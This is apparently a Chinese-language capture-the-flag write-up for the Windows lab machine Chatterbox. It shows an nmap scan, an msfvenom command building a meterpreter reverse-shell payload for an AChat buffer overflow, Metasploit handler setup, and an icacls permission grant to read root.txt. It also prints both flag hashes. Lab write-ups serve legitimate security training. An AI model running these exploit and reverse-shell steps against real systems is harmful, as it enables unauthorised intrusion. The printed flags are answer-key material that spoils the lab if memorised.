信息收集

$ nmap -p- 10.10.10.74 --min-rate 1000 -sC -sV

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         AChat chat system httpd
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
9256/tcp  open  achat        AChat chat system
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

AChat 缓冲区溢出

$ searchsploit Achat

$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

替换exp中的shellcode

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set LHOST 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 10032

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/

在此之前由于这个靶机存在一些问题，所以需要快速的进程迁移

$ echo 'run post/windows/manage/migrate'>/tmp/automigrate.rc

$ msf exploit(multi/handler) > set AutoRunScript multi_console_command -r /tmp/automigrate.rc

msf6 exploit(multi/handler) > exploit

+

User.txt

e8d47bf70011eb9c3dc2bbaba0a5b269

权限提升

C:\Users\Administrator\Desktop>icacls ../Desktop

对于Administrator的desktop目录具有访问权限，但无法读取root.txt

C:\Users\Administrator\Desktop>icacls root.txt

手动修改root.txt权限

C:\Users\Administrator\Desktop>icacls root.txt /grant alfred:F

C:\Users\Administrator\Desktop>icacls root.txt

Root.txt

17a0c2aa4ce373d5fa29c915805f9bd0